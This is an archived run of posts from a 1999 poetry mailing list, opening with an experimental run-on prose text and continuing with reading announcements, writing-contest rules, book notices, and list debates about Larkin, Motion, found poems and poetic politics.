argument, and there is a lot of talk about how he put a gun to the head of Reed, that he was one of these people that did to Reed a friend of his or acquaintance or how close the friendship might be, and two other people that were in that alley. What I'm trying to say to you is that if I say something that is different from what you remember or how it was said or knew it was said, don't remember what I remember, rely on what you heard and what you saw. There was some contact between these people before. By saying now publicly and openly for the first time that you used the word pistol, did you have a pistol, a gun is a gun, if you did the shooting, if you shot the gun, and when you dropped that gun, you said you dropped in on Dave, you said Dave had that gun in his hand after the shooting, at the time I was being shot at, just everything automatically happened as it followed the gun, not once, but several times, you shot the gun if you say you guess you shot the gun, you only surmised that after he died. Did he ask you to do anything for him at that time, the last time you saw him, this was on the last visit you had with him, make him a milkshake or make him a little dinner, you put that into it, the last time you saw him, he seemed to have all of his thinking faculties, and one question in particular that was asked him, that he hesitated for about a minute, and you asked him whether he heard the question or not, is that the way he always carried on, very slow talker, you know that he was a slow talker, and during those times you knew him to be a slow talker, he was the same as far as I have always known him to be, the conversation had wired him up, that was consistent with the way he had conducted himself before, he would never say he was wired, did he ever say he was wired is why he didn't want to talk, you are here saying you don't remember any snow on the ground. It was light snow. You are sure there was snow on the ground, it was moist, it was blowing, it wasn't really sticking when you left was it snowing I think it was just cold when you would breathe, it would show a sort of misty look, whether or not the streets had any snow on them, whether the streets were icy or snowy or anything like that meaning any ice that night it was snowing by then it had started, it was a light snow, about what time that snow started I can't say, there wasn't a great amount when you left did it seem slippery or icy to you where you were walking you noticed there was accumulation of snow oh no, there was a light covering of snow, you could observe that, you could tell that night, you could see a little bit of the coloring, you were just sitting down and talking, talking and helping her prepare dinner, when you went outside to leave, did you leave together, was the porch light on, could you see the stairs, she touched your arm, I think there was a place for one, when you came out was it snowing more, did you exchange comments or have any conversation while you were standing on the porch after you left with everybody else that was at the table, did you stand on the porch, or did you just walk out the door and go down the stairs, or attempt to go down when you left, as you went to go down the stairs, were you holding the hand, were you holding

her hand going down the stairs, did you go before or after him, you watched him go down the stairs and he was standing at the bottom after he left and started down the stairs without you, had he gotten all the way down the stairs yet, was he standing below waiting for you or were you walking down directly behind him, you intended to follow him down the stairs, didn't you, did you look at him like you normally look, what did you see when you looked to him, this was before he started down the stairs, I didn't just stop and look, that wasn't like that. Some representation of bodies near the border, volumetric penciled words, tongue, English, dialect, brogue or cipher, formed into a moundlike shape, bringing to mind Richard Serra's CASTING (1969), made by throwing molten lead into the angular section between floor and wall like if each individual drives the same truck where he was more than that particular part there was mostly from the black .

Joe Hill

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69. **dbkk**

Friday, June 4, Re: Reading The New American Poetry

Thu 3 Jun 1999

Small Press Traffic presents the second event in our series

Re: Reading The New American Poetry

Friday, June 4, 7:30 p.m.
The New American Poetry In Context
Maria Damon
Michael Davidson

The New American Poetry appeared at a time when intellectuals and politicians were urging a consensus on American superiority in all fields-cultural, military, economic-against foreign influences abroad and domestic subversion within. Michael Davidson will examine to what extent Cold War cultural/political assumptions still shape our reading of The New American Poetry in our present era. "Membership" in poetry communities points to shared values and assumptions, mutual agreements over such issues as "what is a poet?" "what should a poet write" and "what is a poet's work?" By examining the ideas of poetic labor of two California poets, one included in the anthology (Wieners) and one left out (Kaufman), Maria Damon will help us better understand the ideas and values of that time, ideas and values which impact our own time as well.

New College Theater
777 Valencia Street, San Francisco
Free

Maria Damon is an Associate Professor of English at the University of Minnesota, where she is also affiliated with programs in American Studies, Women's Studies, Comparative Literature and Jewish Studies. She is the author of The Dark End of the Street: Margins in American Vanguard Poetry (University of Minnesota Press, 1993). Her essays have appeared in such publications as American Literary History, Postmodern Culture, and Modern Fiction Studies. She is currently editing a special issue of Callaloo on the work of Bob Kaufman.

Michael Davidson is a professor of English at the University of California, San Diego. His critical work includes The San Francisco Renaissance: Poetics and Community at Mid-Century (Cambridge University Press, 1989) and Ghostlier Demarcations: Modern Poetry and the Material Word (University of California Press, 1997). He has been twice a recipient of California Council of the Humanities Public Policy Grants, in 1979 and 1981. With Albert Gelpi, he is the author of the entry on American Poetry in The New Princeton Encyclopedia of Poetry and Poetics.

Hope to see you there--
Dodie Bellamy
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↑ Index

70. George Bowering
Re: Motion
Thu 3 Jun 1999

>
 I found him worth a read.
>
>David

I have his 1997 book here now, and have been dipping. But my god, this is dull stuff! I can not see that it is, I mean in the first 25 pages, anything other than

casual correspondence, with no music whatever. Maybe it is the point to make it completely devoid of music, but how is that a kind of oppositional poetry, when the mainstreamers in England have no music anyway? I mean this is a place where they take Larkin seriously as a poet, and then Motion gets into trouble for writing a nasty biog of Larkin. Good Lord!

George Bowering.

,

fax: [redacted]

↑ Index

71. Susan Wheeler
Italian renaissance p.
Thu 3 Jun 1999

Back from various parts and catching up, greetings. Is it too late to fourteenth the endorsement of Rachel Loden's book? -- just stellar.

I'm looking for examples (in translation) of the practice of posting review-poems in the plazas where major & new works of sculpture had just been installed in Renaissance Italy. Can anyone out there point me in the right direction?

BC and thanks in advance.

↑ Index

72. Daniel Kane
Lisa Jarnot on WriteNet
Thu 3 Jun 1999

This month, Lisa Jarnot talks about her poem "Emperor Wu," published in her book _Some Other Kind of Mission_.

A tape of Lisa (W.A.V file) is not up just yet -- probably in the next two or three days.

You can find the page at

http://www.writenet.org/poetschat/poetschat_ljarnot.html

--daniel

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73. Jerry McGuire
Deep South Writers Conference
Thu 3 Jun 1999

Please note the following preliminary information about this year's Deep South Writers Conference and Writers Contest.

This year's Deep South Writers Conference will take place from September 23rd to September 26th, 1999, on the University of Southwestern Louisiana campus in Lafayette. We've secured most of our artist agreements, and are presently advertising our contest (see Rules, below). The artists who have agreed to come so far are poet and non-fiction prose-writer Mary Cappello, poet, novelist, and editor Virgil Suarez, poet and essayist Toi Derricotte, and novelist Robert Olen Butler. In response to the many requests we received from last year's participants, we will also be featuring another "Poetry Crawl"—an open reading for all conference participants that travels among various art galleries, coffee houses, and restaurants here in Lafayette. And we will have a special workshop in teaching creative writing by Sandy Lyne of the Inner Writer Program, and an evening of lecture, demonstration, and discussion by Louisiana songwriters Sam Broussard and David Egan on the relations between the "local" and their work. As always, many thanks for your interest, and best wishes.

Yours,

Jerry McGuire

DEEP SOUTH WRITERS CONFERENCE CONTEST RULES

DEADLINE: JULY 15, 1999

Entry fee for each submission is $10 ($15 for the novel and full length plays). •No manuscripts will be returned. •Submit two title pages, one with title, category of entry, author's name, address, telephone number, social security number and brief bio., the other with title and category of entry

only. •Please note that conference registration fees will be waived/reimbursed for all prize winners attending the conference.

Contest Divisions

Short fiction (Includes Science Fiction; under fifty pages, double spaced)
$300 first prize
$200 second prize
$100 third prize

Young Adult Fiction (for Ages 12 and above)
$200 prize

Children's Fiction (for Ages up to 12)
$100 prize

Novel
$300 first prize
$100 second prize

Nonfiction -- the Ethel Harvey Award (under fifty pages, double spaced)
$200 prize

Poetry -- The John Z. Bennett Awards (Three poems maximum. Entry will be considered as a whole)
$300 first prize
$200 second prize
$100 third prize

Drama -- The Paul T. Nolan One-Act play Awards (Under fifty pages; no musicals, translations, or adaptations; production rights reserved for one production)
$200 first prize
$100 second prize

Drama -- The James H. Wilson Full-length play Awards (No musicals, translations, or adaptations)

$300 first prize
$100 second prize

French Literature -- The Council for the Development of French in Louisiana (No translations or
adaptations; maximum of three submissions)

$100 first prize for prose
$100 first prize for poetry

Where to Send Materials . . .
Send all manuscripts, with check or money order payable to Deep South Writers Conference, to:

Contest Coordinator
Deep South Writers Conference
USL Box 44691 -- English Department
University of Southwestern Lousiana
Lafayette, LA 70504-4691

Enclose a Self-Addressed Stamped Postcard for acknowledgment of Receipt.

•For all categories: we cannot consider previously published materials, except for work published only in college literary magazines.
•Present faculty and students of the University of Southwestern Louisiana may not be considered for any of the awards offered by the Deep South Writers Conference.
•Although publication is not guaranteed, first publication rights to all prize-winning manuscripts (except novels and full-length plays) are reserved by the Deep South Writers Conference. Rights revert to the author after publication or, absent publication, on the first of August of the contest year following.

Decisions of the judges are final. Direct inquiries to [redacted]. For list of winners, submit a Self-Addressed stamped Envelope or check the Deep South Writers Conference portion of the University of Southwestern Louisiana website:

http://www.usl.edu/departments/English/index.html

Please note that failure to abide by the above mentioned guidelines invalidates an entry.

--

Jerry McGuire
Director of Creative Writing

English Department Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691
[redacted]

↑ Index

74. Brian Stefans
The Naif and the Bluebells
Thu 3 Jun 1999

I wanted to announce a "preview" version of a web-poem called "The Naif and the Bluebells" that I've been working on for the past several weeks. This is a short version of the whole thing, which will find it's final home on www.ubu.com, the concrete/sound poetry site that Kenny Goldsmith runs.

The short version -- about 30% or so of the long-version -- contains no Javascripts, fewer applets, and lighter images, and was made especially for those with 3.0 generation browsers or slow modems and processors. It can be found at:

http://www.bway.net/~arras

Please check it out, and certainly tell me if something doesn't work!

(This is also the Arras site, which I'm presently updating -- it's pretty ugly right now. Stay away from the sugar free!)

Cheers,
Brian

↑ Index

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Jerry McGuire, Director
Deep South Writers Conference
English Department Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691
[redacted]

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76. Lowther,John
An Ask for Reports
Thu 3 Jun 1999

---

after reading about wendy kramer's lunch poem about dave baptiste chirot rubbing the streets of milwaukee and enamored once again with my POCKETY PUFF i wonder if something easteregg hunt might be in the offing in this here forum

and so i'm asking for reports - descriptions - details - text - context - imaginations of another world where some found thing wd be necessary to some obscure desire

↑ Index

77. Pierre Joris
Re: Motion
Thu 3 Jun 1999

---

right on, George,

larkin, motion, meme combat! dull, pointless,idiotic -- which doesn't worry me, let them write whatever pleases them -- but, as always, it's them and the power they wield(ed) that kept/keeps the live brit poetry from being published, heard, etc..

pierre

George Bowering wrote:

> *I found him worth a read.*

> *David*
>
> *I have his 1997 book here now, and have been dipping. But my god, this is dull stuff! I can not see that it is, I mean in the first 25 pages, anything other than casual correspondence, with no music whatever. Maybe it is the point to make it completely devoid of music, but how is that a kind of oppositional poetry, when the mainstreamers in England have no music anyway? I mean this is a place where they take Larkin seriously as a poet, and then Motion gets into trouble for writing a nasty biog of Larkin. Good Lord!*
>
> *George Bowering.*
>
> *,*
>
> *fax:* [redacted]

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

Maurice Blanchot
==========

↑ Index

78. Lowther,John
two things
Thu 3 Jun 1999

1st

there's a billboard down peachtree from here by the waffle house that for a year or so has alwasy been a marlboro cig board and i guess they stopped paying for that locale or something but the sign co. came out and defaced it tearing corners and wide swaths across the middle and such, even leaving some bits hanging etc etc

but having i guess absorbed the marlboro iconography and seen most of the billboards what came out of this defacing was much more . . . interesting (to me) . . . schwittersesque . . . marlboro ad . . .

the surgeon general's warning was legible at least twice

2nd

standing under a tree in the rain and i noticed that the undersides of every leaf that i cd see were speckled and i looked closer and they were spotted with .. ? .. eggs or fungus or something there was a symmetry that was on the verge of not being there but still *was* and i noted this but still felt this sort body to body empathy with the tree

felt invaded got the creeps

↑ Index

79. Aviva Vogel
Non-Meaningful Levels of Language - A Query
Thu 3 Jun 1999

I'm giving a graduating lecture (description follows) at mainstream Vermont College MFA in Writing program, and would love comments/suggestions on potential sources & references that would help address the lecture questions properly for a relatively conservative audience of readers/writers. Thanks!!!

GNOSIS, NONSENSE, NADA

"The future of poetry lies in the exploitation of non-meaningful levels of language. These levels establish poetry as a form of discourse that must be read as entirely separate from normal, communicative language, read with its materiality, its artifice in mind...". (Veronica Forrest-Thomson, Poetic Artifice). What a claim! Why write apparent 'nonsense?' What possible project might we have for a poetry of relative 'obfuscation'? How can language that simultaneously conceals and reveals help us 'know'? If words don't refer to clear particulars and concepts, how can such "non-meaningful levels of language" facilitate gnosis? If a poem's language is syntactically and semantically fluid, diffusing boundaries between subject/object, self/other, hwere else might a reader be taken (besides into confusion, even boredom)? What are the chances for finding value in visual, kinesthetic, musical, or mathematical meaning, rather than depending on a more familiar thematic meaning? Do we want to accept an 'experimental' or 'avant garde' poetry's claim to provide us with a much-needed psychic invasion to strip us of our 'thought-coverings'? Would we then descend into a meaningless abyss, nothingness, into our little 'nada' selves? As Brenda Hillman suggests in her epigraph to Blue Codices (from Loose Sugar), it is enticing to entertain the

notion that we might "Explain the unknown/ by the more unknonw," a saying she attributes to "an alchemical theorem." By taking a look at Hillman's poetry, and probably other work by Mary Reufle, Lyn Hejinian, John Taggart, Rosemary Waldrop, and/or Donald Revell (list is bound to change), this lecture will tousle around (on mats of course) in the hoary backyard of this 'pissed-on' and 'pissed-upon' territory. It's important to dwell on handouts in office before coming to wrestle. _____ I have, at this late date, a far more intuitive than concrete handle on the answers to some of these questions, and have been investigating everything from gnostic scriptures like Nag Hammadi and Elaine Pagels' books -- to Perloff, introductions to 'experimental' anthologies, and other ready-at-hand critical writing. Unfortunately, I've just been faced with a sudden need to move my entire household, and would like to get to the bottom of this subject in some kind of usable, presentable fashion as quickly as possible (although I'm sure the topic requires at least a lifetime of writing and reading and studying). If anyone has ideas about how to approach this lecture, what to read, who to quote, or how to articulate the direction that you sense the questions are leading me in, please let me know. I'd be immensely grateful. Thanks, Aviva Vogel, Poetangles & Motherdrum, Norwich, VT 05055

↑ Index

80. komninos zervos

Re: Friday, June 4, Re: Reading The New American Poetry

Thu 3 Jun 1999

---

hope the transcript will be available online,
komninos

At 10:49 PM 6/2/99 -0700, you wrote:
>Small Press Traffic presents the second event in our series
>
>Re: Reading The New American Poetry
>
>Friday, June 4, 7:30 p.m.
>The New American Poetry In Context
>Maria Damon
>Michael Davidson
>
>The New American Poetry appeared at a time when intellectuals and
>politicians were urging a consensus on American superiority in all
>fields-cultural, military, economic-against foreign influences abroad and
>domestic subversion within. Michael Davidson will examine to what extent
>Cold War cultural/political assumptions still shape our reading of The New

>American Poetry in our present era. "Membership" in poetry communities
>points to shared values and assumptions, mutual agreements over such issues
>as "what is a poet?" "what should a poet write" and "what is a poet's
>work?" By examining the ideas of poetic labor of two California poets, one
>included in the anthology (Wieners) and one left out (Kaufman), Maria Damon
>will help us better understand the ideas and values of that time, ideas and
>values which impact our own time as well.
>
>New College Theater
>777 Valencia Street, San Francisco
>Free
>
>----------
>
>Maria Damon is an Associate Professor of English at the University of
>Minnesota, where she is also affiliated with programs in American Studies,
>Women's Studies, Comparative Literature and Jewish Studies. She is the
>author of The Dark End of the Street: Margins in American Vanguard Poetry
>(University of Minnesota Press, 1993). Her essays have appeared in such
>publications as American Literary History, Postmodern Culture, and Modern
>Fiction Studies. She is currently editing a special issue of Callaloo on
>the work of Bob Kaufman.
>
>Michael Davidson is a professor of English at the University of California,
>San Diego. His critical work includes The San Francisco Renaissance:
>Poetics and Community at Mid-Century (Cambridge University Press, 1989)
and
>Ghostlier Demarcations: Modern Poetry and the Material Word (University of
>California Press, 1997). He has been twice a recipient of California
>Council of the Humanities Public Policy Grants, in 1979 and 1981. With
>Albert Gelpi, he is the author of the entry on American Poetry in The New
>Princeton Encyclopedia of Poetry and Poetics.
>
>Hope to see you there--
>Dodie Bellamy
>for Small Press Traffic
^^^

gold coast campus
queensland

komninos's cyberpoetry site:
http://student.uq.edu.au/~s271502
state library of victoria cyberpoetry site:
http://experimedia.vic.gov.au/cyberpoet
~~~
~~~

The most concise way to present my particular bent is with an excerpt from TNPEoPaP definition of Rhyme--IV. Analogues: "Milton also weights words at line end (Broadbent calls this "anti-r".), counterposing semantically heavy and contrastive terms at PL 4.561-62, for example: 'Tempt not the Lord thy God, he said and stood. / But Satan smitten with amazement fell""

Is this thing that Broadbent calls anti-rhyme called something else by everyone else, or has no one else written about it else? See, it's driving me to echolalia.

I would appreciate reading any thoughts any of you might have (or examples that leap to mind), backchannel or not. I live in a part of the world where poetry died in 1963 when they took down the last Burma-Shave sign, so the pickins here are pretty slim. (Asked the local librarian if they had a copy of Modern Chess Openings, and she brought me over to the Medical section).

Thanks,

Dan Waber

↑ Index

83. Mark Melnicove

Re: Frost at Kennedy's inauguration

Fri 4 Jun 1999

Dear Maria, Thanks for your reply. I'm glad to hear that you, too, think this was a signal event; not everyone on the list agrees, those responses having more to do with negative perceptions of Frost as a man and poet than anything else. My essay is part of a larger book about American poetry in the sixties that I'm writing. The Frost reading came early in the decade; by decades end, things had changed a lot (and that's an understatement!) in both American society and American poetry; so in terms of contrast and compare, the inaugural reading is ripe in regarding. In the poem Frost wrote for the occasion, he prophesized a "golden age of poetry and power," like the Augustan age in Rome. It's such an interesting, though flawed, comparison; much of my essay revolves around what all that might have meant then, what it means now. There is also the Frost/Kennedy relationship; what began as a courting/courtship (and Frost saw himself as the court poet), ended up with Kennedy not speaking ever again to Frost after the later's return from a trip to Russia in September, 1962, where he met with Khrushchev. Of course, October, 1962 brought the Cuban Missile Crisis, etc. Anway, I'll be glad to share the essay with you when it's done. Right now it's 27 pages, and still growing! I wasn't aware of any of the sources you mentioned. How can I get a copy of Zofia Burr's unpublished ms? Thanks for your help, Mark Melnicove

> *At 9:59 AM 5/28/99, Mark Melnicove wrote:*
> *I'm writing an essay on Robert Frost's reading/recital at JFK's inauguration and I'm looking for contemporary (i.e. 1961) responses to this event by other poets. I've started to comb letters and diaries as collected in books (Sandburg, Ginsberg, Jarrell, etc.), but haven't turned up much yet. Anyone with any sources, leads, etc. please b.c. And, if you were there (in person, or via TV) and wrote something at the time, or have some recollections 38 years down the road you'd care to share, I'd love that, too.*
> *Mark Melnicove*
>
> *i remember my mother, who was a danish citizen, being so moved that she went out and bought Frost's Collected Works, which we still have in a prominent place in my family's home. also, Steven Caton, in Peaks of Yemen I Summon: Poetry as Social Practice in a Northern Yemeni Tribe, and Zofia Burr, in an as yet unpublished ms, discuss this event. so does, i believe??, robert von hallberg in American Poetry and Culture 1945-1980. Caton and von Hallberg discuss it in their introductions. burr devotes a chapter to comparing the kennedy/frost event to the clinton/angelou event. it's fascinating. i'd love to know more about what you're doing with this signal moment.*

↑ Index

84. Ron Silliman

Uh, er, ah

Fri 4 Jun 1999

> *CFP: Disfluency in spontaneous speech*
>
> *ICPhS Satellite Meeting: DISFLUENCY IN SPONTANEOUS SPEECH*
> *30 July 1999*
> *UC Berkeley*
>
> *Call for Participation*
>
> *The increasing interest in spontaneous speech in the academic and technological communities has led to several new research initiatives which focus on disfluency in normal spontaneous speech. In this workshop we will attempt to bring together researchers working on the topic from various angles.*
>
> *The main purposes of the meeting will be to allow an overview of recent and current research, to examine problems and issues in this research and to discuss future areas of interest. Abstracts are invited from a wide area, including description, speech production and psycholinguistic and computational approaches to the understanding of disfluent speech.*

> *The meeting will allow as much discussion as possible, structured around a selection of themes, and supported by a limited number of oral presentations. Poster presentations are also encouraged .*
>
> *Organisers: Robin Lickley, Ellen Gurman Bard (University of Edinburgh), Jean Fox Tree (UCSC), Peter Heeman (OGI), Liz Shriberg (SRI).*
>
> *For registration and more information: http://www.ling.ed.ac.uk/~robin/ICPhS-CfP.html*
> [redacted]

↑ Index

85. **Douglas Oliver**

Re: Larkin

Fri 4 Jun 1999

It's a blindness to call Philip Larkin absolutely no good as a poet. This sort of blindness will simply reaffirm itself when challenged because, essentially, it's a dismissal in terms of style or, perhaps, genre. If you want to say that he was hostile to avant-gardist poetic practice, that's so obvious it's hardly worth saying. An authentic poetic darkness lay beneath Larkin's orderly, rhyming verses, a wiggly thing. And he had that unmistakable gift of making memorable lines. It's highly unlikely a non-poet would have been so influential. The turncoat but unfortunately interesting Motion biography at least indicated sources of this darkness. I spent a couple of hours with Larkin once and when (discussing "Ambulances") I suggested that we might not, after all, be alone when we die we got very stiff with each other, because I was tapping into his evident panic on this question -- that's the darkness again. He had to be sedated when he underwent his own process of dying because he was panicking so much. (But for all I know I may have to be too one day . . .)

Though adept at poetry politics, Motion is deadly dull, yes: he's got the despicable job of laureat now (despicable because tied into the British royalty/class system) but his poetry has not been very influential.

I am in no sense a supporter of Larkin and never have been. Our problem with him in Britain in the sixties and seventies was very different from wondering whether he was a poet or not. He was reactionary artistically, politically, and emotionally. Ever since, the clammy influence of his style and his consciousness have put a blight on mainstream poetic practice. But, then, that's just the mainstream. It has its audience. So has the experimental wing,

thank god, and if they can nibble at that mainstream audience so much the better.

Doug

↑ Index

86. Stephen Ellis
Re: the flux of context
Fri 4 Jun 1999

Reading the Davis/Durgin correspondence, many tangential and rather less abstract questions come to "mind" (if that's not being perhaps nominally overly optimistic ...), like
Efficacy in terms of what?
What are the propositions?
What do they propose in terms of politics?
What's to be effected?
How does the effected effect effect anything political, in what "sphere"?
Who is the "efficacy" for?
To whom are "proposals" to be addressed?
Is it all just in one big self-reflective house of mirrors &/or cards that
the whole argument "takes place"? (Ah ... the lovely and familiar "it" motif again ...) As in fact, what IS

"the argument"? A parsing of consciousness itself, so as to make its otherwise smothering protoplasmic theosophic "body" look to be more the familiar bite-sized sequence of pieces we all might more easily accustom ourselves to? Or, in terms of sheer etiquette

at the level of more alarmingly "rapid" shifts of consciousness, may I ask, what do you do when you can't remember the word for "rug"?

SE

> *From: "Patrick F. Durgin" <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: the flux of context*
> *Date: Wed, 2 Jun 1999 22:47:40 -0500*
>
> *At 04:56 PM 6/1/99 -0400, Jordan Davis wrote:*
>
> *But what is so impossible to think term*
> *about "poetry"?*
> *.. . . . . it's just games, sets, relations.*
>
> *Okay, but without proposals, I think I meant, and proposals are*

> *our*
> *business, our wares, such relations are unlike poetry-bytes.*
> *Cross-propositions might be a preferable term for "games, sets, relations."*
> *Poetry signifies too many or too little, depending on the company one*
> *keeps.*
>
> *In re: "efficacy" I think we are standing across*
> *the crater from oeach ether. I am acting as inaudible*
> *interpreter of rumblings across generational strata.*
> *We are hearing "why no politics." I would rather not*
> *say "but yes politics!" I would rather say "what means*
> *why no politics." I have a quiet feeling that this is*
> *another chance for generational call and response*
> *invite to Freuddance. We'll see!*
>
> *Another proposal may be to carefully elaborate the divide by means*
> *of*
> *registering efficacy in light of, you nailed it, the suck of context. You*
> *one nifty public correspondant. Don't be so quiet about it.*
> *Patrick*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

87. Rachel Loden

OED "snogging"; The Last Campaign

Fri 4 Jun 1999

Thanks to Susan Wheeler for that endorsement of THE LAST CAMPAIGN--in a world in which poets, above all, hate poetry, one can't have too many of those. Since I never posted any blurbage here, perhaps I'll be forgiven for passing on (with permission of course) another, somewhat astonishing, tidbit:

"The poems combine a solid sense of form with a solid sense of politics and irony. Since I'm in favor of all three, I'm impressed. The image of Lenin's body (which I've not seen, since my lone visit to Moscow was all of 30 minutes on a tarmac while Motley Crue boarded the plane) is deeply comic and will probably show up in a dream soon.

So the best characterization of my response is 'irrational exuberance,' though perhaps in the way that Spicer, not Greenspan, would have understood." -- Ron Silliman

The chapbook has almost no distribution so please backchannel if you'd like a copy ($8).

And now for something completely different:

snogging, vbl. n. slang.
[Origin unknown: cf. snug v.]
Engagement in light, amorous play, esp. kissing and cuddling.
1945 C. H. Ward-Jackson It’s a Piece of Cake (ed. 2) 56 Snogging, courting, running around with the opposite sex. Comes from India. Thus, ‘On my leave I’m going up to the hills for a bit of snogging.’ Also used as a verb.
1951 Sunday Pictorial 28 Oct. 10/6 Few hounds can get in more than half an hour of ‘snogging’–their elegant term for not-too-serious courtship.
1960 N. Epton Love & English vi. 341 It is all right..to cuddle. (The current term among teen-agers is ‘snogging’.)
1966 P. Willmott Adolescent Boys iii. 40, I went upstairs with Jill and we did a bit of snogging on the bed.
1975 Weekend 4 Feb. 19/1 If a cinema manager tolerates snogging among his audience he is liable to lose his licence.
Also
snog v.2 intr., to engage in snogging;
snog n., an instance of this;
'snogger, 'snogging ppl. a.
1945 [see snogging vbl. n.].
1958 ‘J. Brogan’ Cummings Report xv. 156 He is a..girl-snogging..bounder.
1959 W. Camp Ruling Passion xii. 82 Let’s pretend we’re teenagers and stop for a nice snog.
1962 A. Sampson Anat. Britain xxxvi. 574 The cinema has lost its hold–except among unmarried teenagers, two-thirds of whom go at least once a week, perhaps to snog in the doubles.
1965 J. Gaskell Fabulous Heroine 94 A most experienced snogger.
1973 M. Amis Rachel Papers 21 They were enjoying a kiss–well, more of a snog really.
1981 R. Barnard Mother’s Boys ii. 20 They had..taken the side way through the little cutting known popularly as ‘Snoggers Alley’.

Rachel

Susan Wheeler wrote:
>
> Back from various parts and catching up, greetings. Is it too late to
> fourteenth the endorsement of Rachel Loden's book? -- just stellar.

↑ Index

88. Judy Roitman

Re: symbolic snogging

Fri 4 Jun 1999

Maybe we should take this back-channel, but there seem to be more than a few symbolic logic fans here...

> *In a sense, symbolic logic is not 'just another branch' of maths: it's an essential foundation of most branches of mathematics. Any formal proof requires a process that, if not actually written as formal logic, should be able to be reduced to it.*

That's how it was billed (or, as we say these days, marketed) back when I was in school, but things have changed and there's a lot of fairly serious criticism of these notions.

Whatever your view of foundations, symbolic logic can be viewed as a branch of mathematics. That seems to be the distinction between symbolic logic and other sorts of logical inquiry.

> *I don't think that symbolic logic was intended to replace the non-symbolic kind, but was an attempt to systematize the kind of conscious reasoning that goes back to Aristotle. It does swallow up whole fields; at least in the sense that it narrows those fields.*

Yes yes yes. The narrowing is an interesting (and I think invasive) phenomenon.

...
>As an interesting aside, there's a lot of criticism of the binary true/false
>nature of Western logic. It's ironic, then, that Leibniz's development of
>binary arithmetic was partly based upon his reading of the I Ching!
>
>
>Tom Beard

Cool. Thanks.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

89. Mark Melnicove
Re: Frost at Kennedy's inauguration
Fri 4 Jun 1999

My apologies to everyone on the list, I meant to b.c. my message about
Robert Frost to Maria, guess it got by Chris.
Mark

↑ Index

90. Poetry Project
Monday reading
Fri 4 Jun 1999

This Monday, June 7th

at 8 pm

is a reading by

Gordon Ball & Ruth Altmann

Gordon Ball will be reading from "66 Frames" (Coffee House, 1999), his newly published memoir of New York's avant-garde film and literary circles 33 years ago. Ruth Altmann's work has appeared in And Then, Telephone, and Tamarind.

then

Wednesday, June 16th

at 8 pm

is a reading by

Spring workshop students and interns of the Poetry Project.

More on this soon.

↑ Index

91. David Baptiste Chirot
Re: found poetry
Fri 4 Jun 1999

---

two found poems--one old, one new

going through a stack of old magazines for collage work and came across a copy of emma goldman's journal MOTHER EARTH through many years of moving, the cover was torn and revealed: OTHER EAR

walking through a "rough neighborhood" looking for street materials, a sign: ANGER ZONE

a favorite graffiti, written in six foot letters on a wall in the Winter Hill area of Somerville, MA: CRIME IS

--dbc

↑ Index

92. Cassandra Laity
Book Announcement
Fri 4 Jun 1999

Date: 04-Jun-1999 02:49pm EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: Book Announcement

Date: 04-Jun-1999 02:26pm EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: new poetry

I would like to announce the appearance of Nathalie F. Anderson's new book of poems, _Following Fred Astaire_. Marcus Cafanga writes of this book, "Anderson's keep eye illuminates our socially constructed ideas of gender and identity, the various mannerisms and dance steps we consider appropriate for women and men."
68 pages $10.00 (paper)
TO ORDER BY MAIL
send check for $10 + $2
postage and handling
to
The Word Works
PO Box 42164
Washington, DC 20015

_____
excerpt from a group of "phobia" poems:

"Pogonophobia"
Fear of Beards

Shell delicate, the green chin's cracked: broken
waxwing, broken wryneck. The down ups, bristling,
kinking into curls. A fly-specked plaster,
a cambric snicked with stitches: this grizzling

frets against the grain. Scrit, scrit: the lie bare-faced,
the whiskered fibbery--lily-white boys, cheek
by jowl among the stubble. Peach-fuzz to
blue-beard, she's caught in their swart penumbra.

Like the gossamer thread sprung from her arm
a full three inches when she was eight, it
opened her eyes. Out of the glass each barb
of it speaks: Trust me. I hide what you are.

↑ Index

93. Catherine Daly
Call for Submissions
Fri 4 Jun 1999

As one of the many new associate editors at Perihelion, http://webdelsol.com/Perihelion/, I would like to call for theory and poetry submissions. Send them directly to me at [redacted], or send them to the editor-in-chief Rebecca Seiferle via the mailto link on the website itself. We're trying to publish more engaging, interesting, and challenging work than that in previous issues.

Something about the nature of the e-mail would be good in the subject line, and for poetry I prefer at least three poems pasted in the body of the e-mail message, but I understand if you have to attach items which are not all unformatted text.

I am particularly eager to read work with kitties or rainbows, especially if you have also formatted your work with purple centered italic.

Regards,
Catherine Daly
[redacted]
533 South Alandele Avenue
Los Angeles, CA 90036

↑ Index

94. kathylou
Seeing addresses
Fri 4 Jun 1999

Hello All,
I am seeking email or regular mail addresses for:
Bobbie Louise Hawkins
Erica Hunt
Will Alexander

You can backchannel to me at:
[redacted]

Thanks you for your assistance,
Kathy Lou Schultz

↑ Index

95. Jordan Davis
fewer mind
Fri 4 Jun 1999

> *Efficacy in terms of what?*

Solve for x.

> *What are the propositions?*

Poems, or, texts. That which is presented as a poem, or as poetry.

> *What do they propose in terms of politics?*

Investigation, argument, engagement, sabotage, bells, whistles.

> *What's to be effected?*

Hey that not standard. You mean what will it do? It will do the we are watching. Sort of a strawberry statement.

> *How does the effected effect effect anything political, in what "sphere"?*

Hey that not standard. Colonial vocab, ha? How does anything have an effect, reiteration. Effect is usually accidental, a mistake, soemthing happens. You think a while, you rest, you have the thought, or you don't.

> *Who is the "efficacy" for?*

Whomever wants to find out the deal.

> *To whom are "proposals" to be addressed?*

Whomever is dealing. Plus the home audience.

>Is it all just in one big self-reflective house of mirrors &/or cards that
>the whole argument "takes place"? (Ah ... the lovely and familiar "it" motif
>again ...)

Only if you don't look at IT.

> *As in fact, what IS*
>
